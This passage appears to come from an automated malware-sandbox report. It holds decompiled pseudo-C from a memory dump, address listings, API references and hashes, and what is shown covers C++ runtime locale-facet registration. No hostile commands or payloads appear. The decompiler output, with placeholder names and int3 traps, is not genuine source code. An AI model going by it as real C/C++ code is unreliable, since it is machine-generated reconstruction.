							E0042B042(__eflags);
							asm("int3");
							_push(8);
							E0049D90B(0x4d6966, _t230, _t237);
							E00488DEA(_t250 - 0x14, 0);
							_t238 =  *0x4ede5c; // 0x0
							 *(_t250 - 4) =  *(_t250 - 4) & 0x00000000;
							 *(_t250 - 0x10) = _t238;
							_t231 = E0042B315( *((intOrPtr*)(_t250 + 8)), E0042B22E(0x4ede3c, _t230, _t238, __eflags));
							__eflags = _t231;
							if(_t231 != 0) {
								L12:
								E00488E42(_t250 - 0x14);
								return E0049D8D4(_t231);
							} else {
								__eflags = _t238;
								if(__eflags == 0) {
									_push( *((intOrPtr*)(_t250 + 8)));
									_push(_t250 - 0x10);
									__eflags = E00499C55(_t231, _t238, __eflags) - 0xffffffff;
									if(__eflags == 0) {
										E0042B042(__eflags);
										asm("int3");
										_push(8);
										E0049D90B(0x4d6966, _t231, _t238);
										E00488DEA(_t250 - 0x14, 0);
										_t239 =  *0x4ede64; // 0x0
										 *(_t250 - 4) =  *(_t250 - 4) & 0x00000000;
										 *(_t250 - 0x10) = _t239;
										_t232 = E0042B315( *((intOrPtr*)(_t250 + 8)), E0042B22E(0x4ede44, _t231, _t239, __eflags));
										__eflags = _t232;
										if(_t232 != 0) {
											L19:
											E00488E42(_t250 - 0x14);
											return E0049D8D4(_t232);
										} else {
											__eflags = _t239;
											if(__eflags == 0) {
												_push( *((intOrPtr*)(_t250 + 8)));
												_push(_t250 - 0x10);
												__eflags = E00499CBD(_t232, _t239, __eflags) - 0xffffffff;
												if(__eflags == 0) {
													E0042B042(__eflags);
													asm("int3");
													_push(8);
													E0049D90B(0x4d6966, _t232, _t239);
													E00488DEA(_t250 - 0x14, 0);
													_t240 =  *0x4ede60; // 0x0
													 *(_t250 - 4) =  *(_t250 - 4) & 0x00000000;
													 *(_t250 - 0x10) = _t240;
													_t233 = E0042B315( *((intOrPtr*)(_t250 + 8)), E0042B22E(0x4ede40, _t232, _t240, __eflags));
													__eflags = _t233;
													if(_t233 != 0) {
														L26:
														E00488E42(_t250 - 0x14);
														return E0049D8D4(_t233);
													} else {
														__eflags = _t240;
														if(__eflags == 0) {
															_push( *((intOrPtr*)(_t250 + 8)));
															_push(_t250 - 0x10);
															__eflags = E00499D41(_t233, _t240, __eflags) - 0xffffffff;
															if(__eflags == 0) {
																E0042B042(__eflags);
																asm("int3");
																_push(8);
																E0049D90B(0x4d6966, _t233, _t240);
																E00488DEA(_t250 - 0x14, 0);
																_t241 =  *0x4ede68; // 0x0
																 *(_t250 - 4) =  *(_t250 - 4) & 0x00000000;
																 *(_t250 - 0x10) = _t241;
																_t234 = E0042B315( *((intOrPtr*)(_t250 + 8)), E0042B22E(0x4ede48, _t233, _t241, __eflags));
																__eflags = _t234;
																if(_t234 != 0) {
																	L33:
																	E00488E42(_t250 - 0x14);
																	return E0049D8D4(_t234);
																} else {
																	__eflags = _t241;
																	if(__eflags == 0) {
																		_push( *((intOrPtr*)(_t250 + 8)));
																		_push(_t250 - 0x10);
																		__eflags = E00499DC6(_t234, _t241, __eflags) - 0xffffffff;
																		if(__eflags == 0) {
																			E0042B042(__eflags);
																			asm("int3");
																			_push(8);
																			E0049D90B(0x4d6966, _t234, _t241);
																			E00488DEA(_t250 - 0x14, 0);
																			_t242 =  *0x4ede6c; // 0x0
																			 *(_t250 - 4) =  *(_t250 - 4) & 0x00000000;
																			 *(_t250 - 0x10) = _t242;
																			_t235 = E0042B315( *((intOrPtr*)(_t250 + 8)), E0042B22E(0x4ede4c, _t234, _t242, __eflags));
																			__eflags = _t235;
																			if(_t235 != 0) {
																				L40:
																				E00488E42(_t250 - 0x14);
																				return E0049D8D4(_t235);
																			} else {
																				__eflags = _t242;
																				if(__eflags == 0) {
																					_push( *((intOrPtr*)(_t250 + 8)));
																					_push(_t250 - 0x10);
																					_t143 = E00499E32(_t235, _t242, __eflags);
																					_pop(_t210);
																					__eflags = _t143 - 0xffffffff;
																					if(__eflags == 0) {
																						E0042B042(__eflags);
																						asm("int3");
																						_push(4);
																						E0049D90B(0x4d6989, _t235, _t242);
																						_t243 = _t210;
																						 *(_t250 - 0x10) = _t243;
																						 *((intOrPtr*)(_t243 + 4)) =  *((intOrPtr*)(_t250 + 0xc));
																						_push( *((intOrPtr*)(_t250 + 8)));
																						_t77 = _t250 - 4;
																						 *_t77 =  *(_t250 - 4) & 0x00000000;
																						__eflags =  *_t77;
																						 *_t243 = 0x402f68; // executed
																						E0049AC63(_t210, _t235, _t243,  *_t77); // executed
																						return E0049D8D4(_t243);
																					} else {
																						_t235 =  *(_t250 - 0x10);
																						 *(_t250 - 0x10) = _t235;
																						 *(_t250 - 4) = 1;
																						E0048919D(_t235);
																						 *0x4f02b4();
																						 *((intOrPtr*)( *((intOrPtr*)( *_t235 + 4))))();
																						 *0x4ede6c = _t235;
																						goto L40;
																					}
																				} else {
																					_t235 = _t242;
																					goto L40;
																				}
																			}
																		} else {
																			_t234 =  *(_t250 - 0x10);
																			 *(_t250 - 0x10) = _t234;
																			 *(_t250 - 4) = 1;
																			E0048919D(_t234);
																			 *0x4f02b4();
																			 *((intOrPtr*)( *((intOrPtr*)( *_t234 + 4))))();
																			 *0x4ede68 = _t234;
																			goto L33;
																		}
																	} else {
																		_t234 = _t241;
																		goto L33;
																	}
																}
															} else {
																_t233 =  *(_t250 - 0x10);
																 *(_t250 - 0x10) = _t233;
																 *(_t250 - 4) = 1;
																E0048919D(_t233);
																 *0x4f02b4();
																 *((intOrPtr*)( *((intOrPtr*)( *_t233 + 4))))();
																 *0x4ede60 = _t233;
																goto L26;
															}
														} else {
															_t233 = _t240;
															goto L26;
														}
													}
												} else {
													_t232 =  *(_t250 - 0x10);
													 *(_t250 - 0x10) = _t232;
													 *(_t250 - 4) = 1;
													E0048919D(_t232);
													 *0x4f02b4();
													 *((intOrPtr*)( *((intOrPtr*)( *_t232 + 4))))();
													 *0x4ede64 = _t232;
													goto L19;
												}
											} else {
												_t232 = _t239;
												goto L19;
											}
										}
									} else {
										_t231 =  *(_t250 - 0x10);
										 *(_t250 - 0x10) = _t231;
										 *(_t250 - 4) = 1;
										E0048919D(_t231);
										 *0x4f02b4();
										 *((intOrPtr*)( *((intOrPtr*)( *_t231 + 4))))();
										 *0x4ede5c = _t231;
										goto L12;
									}
								} else {
									_t231 = _t238;
									goto L12;
								}
							}
						} else {
							_t230 =  *(_t250 - 0x10);
							 *(_t250 - 0x10) = _t230;
							 *(_t250 - 4) = 1;
							E0048919D(_t230);
							 *0x4f02b4();
							 *((intOrPtr*)( *((intOrPtr*)( *_t230 + 4))))();
							 *0x4ede58 = _t230;
							goto L5;
						}
					} else {
						_t230 = _t237;
						goto L5;
					}
				}
			}

0x0049965e
0x00499665
0x0049966f
0x00499674
0x0049967f
0x00499683
0x0049968f
0x00499694
0x00499698
0x004996dd
0x004996e0
0x004996ec
0x0049969a
0x0049969c
0x004996a2
0x004996a8
0x004996b0
0x004996b3
0x004996ed
0x004996f2
0x004996f3
0x004996fa
0x00499704
0x00499709
0x00499714
0x00499718
0x00499729
0x0049972b
0x0049972d
0x00499772
0x00499775
0x00499781
0x0049972f
0x0049972f
0x00499731
0x00499737
0x0049973d
0x00499745
0x00499748
0x00499782
0x00499787
0x00499788
0x0049978f
0x00499799
0x0049979e
0x004997a9
0x004997ad
0x004997be
0x004997c0
0x004997c2
0x00499807
0x0049980a
0x00499816
0x004997c4
0x004997c4
0x004997c6
0x004997cc
0x004997d2
0x004997da
0x004997dd
0x00499817
0x0049981c
0x0049981d
0x00499824
0x0049982e
0x00499833
0x0049983e
0x00499842
0x00499853
0x00499855
0x00499857
0x0049989c
0x0049989f
0x004998ab
0x00499859
0x00499859
0x0049985b
0x00499861
0x00499867
0x0049986f
0x00499872
0x004998ac
0x004998b1
0x004998b2
0x004998b9
0x004998c3
0x004998c8
0x004998d3
0x004998d7
0x004998e8
0x004998ea
0x004998ec
0x00499931
0x00499934
0x00499940
0x004998ee
0x004998ee
0x004998f0
0x004998f6
0x004998fc
0x00499904
0x00499907
0x00499941
0x00499946
0x00499947
0x0049994e
0x00499958
0x0049995d
0x00499968
0x0049996c
0x0049997d
0x0049997f
0x00499981
0x004999c6
0x004999c9
0x004999d5
0x00499983
0x00499983
0x00499985
0x0049998b
0x00499991
0x00499992
0x00499998
0x00499999
0x0049999c
0x004999d6
0x004999db
0x004999dc
0x004999e3
0x004999e8
0x004999ea
0x004999f0
0x004999f3
0x004999f6
0x004999f6
0x004999f6
0x004999fa
0x00499a00
0x00499a0c
0x0049999e
0x0049999e
0x004999a1
0x004999a5
0x004999a9
0x004999b6
0x004999be
0x004999c0
0x00000000
0x004999c0
0x00499987
0x00499987
0x00000000
0x00499987
0x00499985
0x00499909
0x00499909
0x0049990c
0x00499910
0x00499914
0x00499921
0x00499929
0x0049992b
0x00000000
0x0049992b
0x004998f2
0x004998f2
0x00000000
0x004998f2
0x004998f0
0x00499874
0x00499874
0x00499877
0x0049987b
0x0049987f
0x0049988c
0x00499894
0x00499896
0x00000000
0x00499896
0x0049985d
0x0049985d
0x00000000
0x0049985d
0x0049985b
0x004997df
0x004997df
0x004997e2
0x004997e6
0x004997ea
0x004997f7
0x004997ff
0x00499801
0x00000000
0x00499801
0x004997c8
0x004997c8
0x00000000
0x004997c8
0x004997c6
0x0049974a
0x0049974a
0x0049974d
0x00499751
0x00499755
0x00499762
0x0049976a
0x0049976c
0x00000000
0x0049976c
0x00499733
0x00499733
0x00000000
0x00499733
0x00499731
0x004996b5
0x004996b5
0x004996b8
0x004996bc
0x004996c0
0x004996cd
0x004996d5
0x004996d7
0x00000000
0x004996d7
0x0049969e
0x0049969e
0x00000000
0x0049969e
0x0049969c

APIs

__EH_prolog3.LIBCMT ref: 00499665
std::_Lockit::_Lockit.LIBCPMT ref: 0049966F

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

std::_Facet_Register.LIBCPMT ref: 004996C0
std::_Lockit::~_Lockit.LIBCPMT ref: 004996E0
Concurrency::cancel_current_task.LIBCPMT ref: 004996ED

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Register
String ID:
API String ID: 1813952879-0
Opcode ID: 1361f327450776258036e252e1eb330065496c3a0b44cbb1ef9c427a0951a425
Instruction ID: 632aec8e941a6f8264a3958551e04476efeb4a27318b838572e2971dc9c0275a
Opcode Fuzzy Hash: 1361f327450776258036e252e1eb330065496c3a0b44cbb1ef9c427a0951a425
Instruction Fuzzy Hash: C501C432D001158BCF05FBA9E8596BE7B61AF84714F14042FE4116B392CF7CAD01C799

Uniqueness

Uniqueness Score: -1.00%

Function 0048C67B, Relevance: 7.5, APIs: 5, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E0048C67B(intOrPtr _a8) {
				signed int _v4;
				signed int _v16;
				char _v20;
				void* _v200;
				signed int _t213;
				void* _t394;
				short* _t568;
				void* _t620;
				signed int _t622;
				signed int _t623;
				signed int _t624;
				signed int _t625;
				signed int _t626;
				signed int _t627;
				signed int _t628;
				signed int _t629;
				signed int _t630;
				signed int _t631;
				signed int _t632;
				signed int _t633;
				signed int _t634;
				signed int _t635;
				signed int _t636;
				signed int _t637;
				void* _t638;
				signed int _t639;
				signed int _t640;
				signed int _t641;
				signed int _t642;
				signed int _t643;
				signed int _t644;
				signed int _t645;
				signed int _t646;
				signed int _t647;
				signed int _t648;
				signed int _t649;
				signed int _t650;
				signed int _t651;
				signed int _t652;
				signed int _t653;
				signed int _t654;
				signed int _t655;
				short* _t656;
				void* _t678;
				void* _t679;

				_push(8);
				E0049D90B(0x4d6966, _t620, _t638);
				E00488DEA( &_v20, 0);
				_t639 =  *0x4edde4; // 0x0
				_v4 = _v4 & 0x00000000;
				_v16 = _t639;
				_t213 = E0042B315(_a8, E0042B22E(0x4edd90, _t620, _t639, _t679));
				_t621 = _t213;
				if(_t213 != 0) {
					L5:
					E00488E42( &_v20);
					return E0049D8D4(_t621);
				} else {
					if(_t639 == 0) {
						_push(_a8);
						_push( &_v16);
						__eflags = E0048E11D(_t621, _t639, __eflags) - 0xffffffff;
						if(__eflags == 0) {
							E0042B042(__eflags);
							asm("int3");
							_push(8);
							E0049D90B(0x4d6966, _t621, _t639);
							E00488DEA( &_v20, 0);
							_t640 =  *0x4ede18; // 0x0
							_v4 = _v4 & 0x00000000;
							_v16 = _t640;
							_t622 = E0042B315(_a8, E0042B22E(0x4eddbc, _t621, _t640, __eflags));
							__eflags = _t622;
							if(_t622 != 0) {
								L12:
								E00488E42( &_v20);
								return E0049D8D4(_t622);
							} else {
								__eflags = _t640;
								if(__eflags == 0) {
									_push(_a8);
									_push( &_v16);
									__eflags = E0048E185(_t622, _t640, __eflags) - 0xffffffff;
									if(__eflags == 0) {
										E0042B042(__eflags);
										asm("int3");
										_push(8);
										E0049D90B(0x4d6966, _t622, _t640);
										E00488DEA( &_v20, 0);
										_t641 =  *0x4edde8; // 0x0
										_v4 = _v4 & 0x00000000;
										_v16 = _t641;
										_t623 = E0042B315(_a8, E0042B22E(0x4edd94, _t622, _t641, __eflags));
										__eflags = _t623;
										if(_t623 != 0) {
											L19:
											E00488E42( &_v20);
											return E0049D8D4(_t623);
										} else {
											__eflags = _t641;
											if(__eflags == 0) {
												_push(_a8);
												_push( &_v16);
												__eflags = E0048E1ED(_t623, _t641, __eflags) - 0xffffffff;
												if(__eflags == 0) {
													E0042B042(__eflags);
													asm("int3");
													_push(8);
													E0049D90B(0x4d6966, _t623, _t641);
													E00488DEA( &_v20, 0);
													_t642 =  *0x4ede20; // 0x0
													_v4 = _v4 & 0x00000000;
													_v16 = _t642;
													_t624 = E0042B315(_a8, E0042B22E(0x4eddc4, _t623, _t642, __eflags));
													__eflags = _t624;
													if(_t624 != 0) {
														L26:
														E00488E42( &_v20);
														return E0049D8D4(_t624);
													} else {
														__eflags = _t642;
														if(__eflags == 0) {
															_push(_a8);
															_push( &_v16);
															__eflags = E0048E255(_t624, _t642, __eflags) - 0xffffffff;
															if(__eflags == 0) {
																E0042B042(__eflags);
																asm("int3");
																_push(8);
																E0049D90B(0x4d6966, _t624, _t642);
																E00488DEA( &_v20, 0);
																_t643 =  *0x4ede1c; // 0x0
																_v4 = _v4 & 0x00000000;
																_v16 = _t643;
																_t625 = E0042B315(_a8, E0042B22E(0x4eddc0, _t624, _t643, __eflags));
																__eflags = _t625;
																if(_t625 != 0) {
																	L33:
																	E00488E42( &_v20);
																	return E0049D8D4(_t625);
																} else {
																	__eflags = _t643;
																	if(__eflags == 0) {
																		_push(_a8);
																		_push( &_v16);
																		__eflags = E0048E2D9(_t625, _t643, __eflags) - 0xffffffff;
																		if(__eflags == 0) {
																			E0042B042(__eflags);
																			asm("int3");
																			_push(8);
																			E0049D90B(0x4d6966, _t625, _t643);
																			E00488DEA( &_v20, 0);
																			_t644 =  *0x4eddf0; // 0x0
																			_v4 = _v4 & 0x00000000;
																			_v16 = _t644;
																			_t626 = E0042B315(_a8, E0042B22E(0x4edd9c, _t625, _t644, __eflags));
																			__eflags = _t626;
																			if(_t626 != 0) {
																				L40:
																				E00488E42( &_v20);
																				return E0049D8D4(_t626);
																			} else {
																				__eflags = _t644;
																				if(__eflags == 0) {
																					_push(_a8);
																					_push( &_v16);
																					__eflags = E0048E35E(_t626, _t644, __eflags) - 0xffffffff;
																					if(__eflags == 0) {
																						E0042B042(__eflags);
																						asm("int3");
																						_push(8);
																						E0049D90B(0x4d6966, _t626, _t644);
																						E00488DEA( &_v20, 0);
																						_t645 =  *0x4eddec; // 0x0
																						_v4 = _v4 & 0x00000000;
																						_v16 = _t645;
																						_t627 = E0042B315(_a8, E0042B22E(0x4edd98, _t626, _t645, __eflags));
																						__eflags = _t627;
																						if(_t627 != 0) {
																							L47:
																							E00488E42( &_v20);
																							return E0049D8D4(_t627);
																						} else {
																							__eflags = _t645;
																							if(__eflags == 0) {
																								_push(_a8);
																								_push( &_v16);
																								__eflags = E0048E3E2(_t627, _t645, __eflags) - 0xffffffff;
																								if(__eflags == 0) {
																									E0042B042(__eflags);
																									asm("int3");
																									_push(8);
																									E0049D90B(0x4d6966, _t627, _t645);
																									E00488DEA( &_v20, 0);
																									_t646 =  *0x4ede00; // 0x0
																									_v4 = _v4 & 0x00000000;
																									_v16 = _t646;
																									_t628 = E0042B315(_a8, E0042B22E(0x4edda4, _t627, _t646, __eflags));
																									__eflags = _t628;
																									if(_t628 != 0) {
																										L54:
																										E00488E42( &_v20);
																										return E0049D8D4(_t628);
																									} else {
																										__eflags = _t646;
																										if(__eflags == 0) {
																											_push(_a8);
																											_push( &_v16);
																											__eflags = E0048E467(_t628, _t646, __eflags) - 0xffffffff;
																											if(__eflags == 0) {
																												E0042B042(__eflags);
																												asm("int3");
																												_push(8);
																												E0049D90B(0x4d6966, _t628, _t646);
																												E00488DEA( &_v20, 0);
																												_t647 =  *0x4eddd0; // 0x0
																												_v4 = _v4 & 0x00000000;
																												_v16 = _t647;
																												_t629 = E0042B315(_a8, E0042B22E(0x4edd7c, _t628, _t647, __eflags));
																												__eflags = _t629;
																												if(_t629 != 0) {
																													L61:
																													E00488E42( &_v20);
																													return E0049D8D4(_t629);
																												} else {
																													__eflags = _t647;
																													if(__eflags == 0) {
																														_push(_a8);
																														_push( &_v16);
																														__eflags = E0048E4CF(_t629, _t647, __eflags) - 0xffffffff;
																														if(__eflags == 0) {
																															E0042B042(__eflags);
																															asm("int3");
																															_push(8);
																															E0049D90B(0x4d6966, _t629, _t647);
																															E00488DEA( &_v20, 0);
																															_t648 =  *0x4ede04; // 0x0
																															_v4 = _v4 & 0x00000000;
																															_v16 = _t648;
																															_t630 = E0042B315(_a8, E0042B22E(0x4edda8, _t629, _t648, __eflags));
																															__eflags = _t630;
																															if(_t630 != 0) {
																																L68:
																																E00488E42( &_v20);
																																return E0049D8D4(_t630);
																															} else {
																																__eflags = _t648;
																																if(__eflags == 0) {
																																	_push(_a8);
																																	_push( &_v16);
																																	__eflags = E0048E537(_t630, _t648, __eflags) - 0xffffffff;
																																	if(__eflags == 0) {
																																		E0042B042(__eflags);
																																		asm("int3");
																																		_push(8);
																																		E0049D90B(0x4d6966, _t630, _t648);
																																		E00488DEA( &_v20, 0);
																																		_t649 =  *0x4eddd4; // 0x0
																																		_v4 = _v4 & 0x00000000;
																																		_v16 = _t649;
																																		_t631 = E0042B315(_a8, E0042B22E(0x4edd80, _t630, _t649, __eflags));
																																		__eflags = _t631;
																																		if(_t631 != 0) {
																																			L75:
																																			E00488E42( &_v20);
																																			return E0049D8D4(_t631);
																																		} else {
																																			__eflags = _t649;
																																			if(__eflags == 0) {
																																				_push(_a8);
																																				_push( &_v16);
																																				__eflags = E0048E59F(_t631, _t649, __eflags) - 0xffffffff;
																																				if(__eflags == 0) {
																																					E0042B042(__eflags);
																																					asm("int3");
																																					_push(8);
																																					E0049D90B(0x4d6966, _t631, _t649);
																																					E00488DEA( &_v20, 0);
																																					_t650 =  *0x4ede08; // 0x0
																																					_v4 = _v4 & 0x00000000;
																																					_v16 = _t650;
																																					_t632 = E0042B315(_a8, E0042B22E(0x4eddac, _t631, _t650, __eflags));
																																					__eflags = _t632;
																																					if(_t632 != 0) {
																																						L82:
																																						E00488E42( &_v20);
																																						return E0049D8D4(_t632);
																																					} else {
																																						__eflags = _t650;
																																						if(__eflags == 0) {
																																							_push(_a8);
																																							_push( &_v16);
																																							__eflags = E0048E607(_t632, _t650, __eflags) - 0xffffffff;
																																							if(__eflags == 0) {
																																								E0042B042(__eflags);
																																								asm("int3");
																																								_push(8);
																																								E0049D90B(0x4d6966, _t632, _t650);
																																								E00488DEA( &_v20, 0);
																																								_t651 =  *0x4eddd8; // 0x0
																																								_v4 = _v4 & 0x00000000;
																																								_v16 = _t651;
																																								_t633 = E0042B315(_a8, E0042B22E(0x4edd84, _t632, _t651, __eflags));
																																								__eflags = _t633;
																																								if(_t633 != 0) {
																																									L89:
																																									E00488E42( &_v20);
																																									return E0049D8D4(_t633);
																																								} else {
																																									__eflags = _t651;
																																									if(__eflags == 0) {
																																										_push(_a8);
																																										_push( &_v16);
																																										__eflags = E0048E682(_t633, _t651, __eflags) - 0xffffffff;
																																										if(__eflags == 0) {
																																											E0042B042(__eflags);
																																											asm("int3");
																																											_push(8);
																																											E0049D90B(0x4d6966, _t633, _t651);
																																											E00488DEA( &_v20, 0);
																																											_t652 =  *0x4ede24; // 0x0
																																											_v4 = _v4 & 0x00000000;
																																											_v16 = _t652;
																																											_t634 = E0042B315(_a8, E0042B22E(0x4eddc8, _t633, _t652, __eflags));
																																											__eflags = _t634;
																																											if(_t634 != 0) {
																																												L96:
																																												E00488E42( &_v20);
																																												return E0049D8D4(_t634);
																																											} else {
																																												__eflags = _t652;
																																												if(__eflags == 0) {
																																													_push(_a8);
																																													_push( &_v16);
																																													__eflags = E0048E6FD(_t634, _t652, __eflags) - 0xffffffff;
																																													if(__eflags == 0) {
																																														E0042B042(__eflags);
																																														asm("int3");
																																														_push(8);
																																														E0049D90B(0x4d6966, _t634, _t652);
																																														E00488DEA( &_v20, 0);
																																														_t653 =  *0x4eddf4; // 0x0
																																														_v4 = _v4 & 0x00000000;
																																														_v16 = _t653;
																																														_t635 = E0042B315(_a8, E0042B22E(0x4edda0, _t634, _t653, __eflags));
																																														__eflags = _t635;
																																														if(_t635 != 0) {
																																															L103:
																																															E00488E42( &_v20);
																																															return E0049D8D4(_t635);
																																														} else {
																																															__eflags = _t653;
																																															if(__eflags == 0) {
																																																_push(_a8);
																																																_push( &_v16);
																																																__eflags = E0048E769(_t635, _t653, __eflags) - 0xffffffff;
																																																if(__eflags == 0) {
																																																	E0042B042(__eflags);
																																																	asm("int3");
																																																	_push(8);
																																																	E0049D90B(0x4d6966, _t635, _t653);
																																																	E00488DEA( &_v20, 0);
																																																	_t654 =  *0x4ede28; // 0x0
																																																	_v4 = _v4 & 0x00000000;
																																																	_v16 = _t654;
																																																	_t636 = E0042B315(_a8, E0042B22E(0x4eddcc, _t635, _t654, __eflags));
																																																	__eflags = _t636;
																																																	if(_t636 != 0) {
																																																		L110:
																																																		E00488E42( &_v20);
																																																		return E0049D8D4(_t636);
																																																	} else {
																																																		__eflags = _t654;
																																																		if(__eflags == 0) {
																																																			_push(_a8);
																																																			_push( &_v16);
																																																			__eflags = E0048E7D5(_t636, _t654, __eflags) - 0xffffffff;
																																																			if(__eflags == 0) {
																																																				E0042B042(__eflags);
																																																				asm("int3");
																																																				_push(8);
																																																				E0049D90B(0x4d6966, _t636, _t654);
																																																				E00488DEA( &_v20, 0);
																																																				_t655 =  *0x4eddf8; // 0x0
																																																				_v4 = _v4 & 0x00000000;
																																																				_v16 = _t655;
																																																				_t637 = E0042B315(_a8, E0042B22E(0x4edd78, _t636, _t655, __eflags));
																																																				__eflags = _t637;
																																																				if(_t637 != 0) {
																																																					L117:
																																																					E00488E42( &_v20);
																																																					return E0049D8D4(_t637);
																																																				} else {
																																																					__eflags = _t655;
																																																					if(__eflags == 0) {
																																																						_push(_a8);
																																																						_push( &_v16);
																																																						_t394 = E0048E849(_t637, _t655, __eflags);
																																																						_pop(_t568);
																																																						__eflags = _t394 - 0xffffffff;
																																																						if(__eflags == 0) {
																																																							E0042B042(__eflags);
																																																							asm("int3");
																																																							_push(_t655);
																																																							_t656 = _t568;
																																																							_t206 = _t656 + 0x10;
																																																							 *_t206 =  *(_t656 + 0x10) & 0x00000000;
																																																							__eflags =  *_t206;
																																																							 *((intOrPtr*)(_t656 + 0x14)) = 7;
																																																							 *_t656 = 0;
																																																							E00494BE0( *((intOrPtr*)(_t678 + 8)));
																																																							return _t656;
																																																						} else {
																																																							_t637 = _v16;
																																																							_v16 = _t637;
																																																							_v4 = 1;
																																																							E0048919D(_t637);
																																																							 *0x4f02b4();
																																																							 *((intOrPtr*)( *((intOrPtr*)( *_t637 + 4))))();
																																																							 *0x4eddf8 = _t637;
																																																							goto L117;
																																																						}
																																																					} else {
																																																						_t637 = _t655;
																																																						goto L117;
																																																					}
																																																				}
																																																			} else {
																																																				_t636 = _v16;
																																																				_v16 = _t636;
																																																				_v4 = 1;
																																																				E0048919D(_t636);
																																																				 *0x4f02b4();
																																																				 *((intOrPtr*)( *((intOrPtr*)( *_t636 + 4))))();
																																																				 *0x4ede28 = _t636;
																																																				goto L110;
																																																			}
																																																		} else {
																																																			_t636 = _t654;
																																																			goto L110;
																																																		}
																																																	}
																																																} else {
																																																	_t635 = _v16;
																																																	_v16 = _t635;
																																																	_v4 = 1;
																																																	E0048919D(_t635);
																																																	 *0x4f02b4();
																																																	 *((intOrPtr*)( *((intOrPtr*)( *_t635 + 4))))();
																																																	 *0x4eddf4 = _t635;
																																																	goto L103;
																																																}
																																															} else {
																																																_t635 = _t653;
																																																goto L103;
																																															}
																																														}
																																													} else {
																																														_t634 = _v16;
																																														_v16 = _t634;
																																														_v4 = 1;
																																														E0048919D(_t634);
																																														 *0x4f02b4();
																																														 *((intOrPtr*)( *((intOrPtr*)( *_t634 + 4))))();
																																														 *0x4ede24 = _t634;
																																														goto L96;
																																													}
																																												} else {
																																													_t634 = _t652;
																																													goto L96;
																																												}
																																											}
																																										} else {
																																											_t633 = _v16;
																																											_v16 = _t633;
																																											_v4 = 1;
																																											E0048919D(_t633);
																																											 *0x4f02b4();
																																											 *((intOrPtr*)( *((intOrPtr*)( *_t633 + 4))))();
																																											 *0x4eddd8 = _t633;
																																											goto L89;
																																										}
																																									} else {
																																										_t633 = _t651;
																																										goto L89;
																																									}
																																								}
																																							} else {
																																								_t632 = _v16;
																																								_v16 = _t632;
																																								_v4 = 1;
																																								E0048919D(_t632);
																																								 *0x4f02b4();
																																								 *((intOrPtr*)( *((intOrPtr*)( *_t632 + 4))))();
																																								 *0x4ede08 = _t632;
																																								goto L82;
																																							}
																																						} else {
																																							_t632 = _t650;
																																							goto L82;
																																						}
																																					}
																																				} else {
																																					_t631 = _v16;
																																					_v16 = _t631;
																																					_v4 = 1;
																																					E0048919D(_t631);
																																					 *0x4f02b4();
																																					 *((intOrPtr*)( *((intOrPtr*)( *_t631 + 4))))();
																																					 *0x4eddd4 = _t631;
																																					goto L75;
																																				}
																																			} else {
																																				_t631 = _t649;
																																				goto L75;
																																			}
																																		}
																																	} else {
																																		_t630 = _v16;
																																		_v16 = _t630;
																																		_v4 = 1;
																																		E0048919D(_t630);
																																		 *0x4f02b4();
																																		 *((intOrPtr*)( *((intOrPtr*)( *_t630 + 4))))();
																																		 *0x4ede04 = _t630;
																																		goto L68;
																																	}
																																} else {
																																	_t630 = _t648;
																																	goto L68;
																																}
																															}
																														} else {
																															_t629 = _v16;
																															_v16 = _t629;
																															_v4 = 1;
																															E0048919D(_t629);
																															 *0x4f02b4();
																															 *((intOrPtr*)( *((intOrPtr*)( *_t629 + 4))))();
																															 *0x4eddd0 = _t629;
																															goto L61;
																														}
																													} else {
																														_t629 = _t647;
																														goto L61;
																													}
																												}
																											} else {
																												_t628 = _v16;
																												_v16 = _t628;
																												_v4 = 1;
																												E0048919D(_t628);
																												 *0x4f02b4();
																												 *((intOrPtr*)( *((intOrPtr*)( *_t628 + 4))))();
																												 *0x4ede00 = _t628;
																												goto L54;
																											}
																										} else {
																											_t628 = _t646;
																											goto L54;
																										}
																									}
																								} else {
																									_t627 = _v16;
																									_v16 = _t627;
																									_v4 = 1;
																									E0048919D(_t627);
																									 *0x4f02b4();
																									 *((intOrPtr*)( *((intOrPtr*)( *_t627 + 4))))();
																									 *0x4eddec = _t627;
																									goto L47;
																								}
																							} else {
																								_t627 = _t645;
																								goto L47;
																							}
																						}
																					} else {
																						_t626 = _v16;
																						_v16 = _t626;
																						_v4 = 1;
																						E0048919D(_t626);
																						 *0x4f02b4();
																						 *((intOrPtr*)( *((intOrPtr*)( *_t626 + 4))))();
																						 *0x4eddf0 = _t626;
																						goto L40;
																					}
																				} else {
																					_t626 = _t644;
																					goto L40;
																				}
																			}
																		} else {
																			_t625 = _v16;
																			_v16 = _t625;
																			_v4 = 1;
																			E0048919D(_t625);
																			 *0x4f02b4();
																			 *((intOrPtr*)( *((intOrPtr*)( *_t625 + 4))))();
																			 *0x4ede1c = _t625;
																			goto L33;
																		}
																	} else {
																		_t625 = _t643;
																		goto L33;
																	}
																}
															} else {
																_t624 = _v16;
																_v16 = _t624;
																_v4 = 1;
																E0048919D(_t624);
																 *0x4f02b4();
																 *((intOrPtr*)( *((intOrPtr*)( *_t624 + 4))))();
																 *0x4ede20 = _t624;
																goto L26;
															}
														} else {
															_t624 = _t642;
															goto L26;
														}
													}
												} else {
													_t623 = _v16;
													_v16 = _t623;
													_v4 = 1;
													E0048919D(_t623);
													 *0x4f02b4();
													 *((intOrPtr*)( *((intOrPtr*)( *_t623 + 4))))();
													 *0x4edde8 = _t623;
													goto L19;
												}
											} else {
												_t623 = _t641;
												goto L19;
											}
										}
									} else {
										_t622 = _v16;
										_v16 = _t622;
										_v4 = 1;
										E0048919D(_t622);
										 *0x4f02b4();
										 *((intOrPtr*)( *((intOrPtr*)( *_t622 + 4))))();
										 *0x4ede18 = _t622;
										goto L12;
									}
								} else {
									_t622 = _t640;
									goto L12;
								}
							}
						} else {
							_t621 = _v16;
							_v16 = _t621;
							_v4 = 1;
							E0048919D(_t621);
							 *0x4f02b4();
							 *((intOrPtr*)( *((intOrPtr*)( *_t621 + 4))))();
							 *0x4edde4 = _t621;
							goto L5;
						}
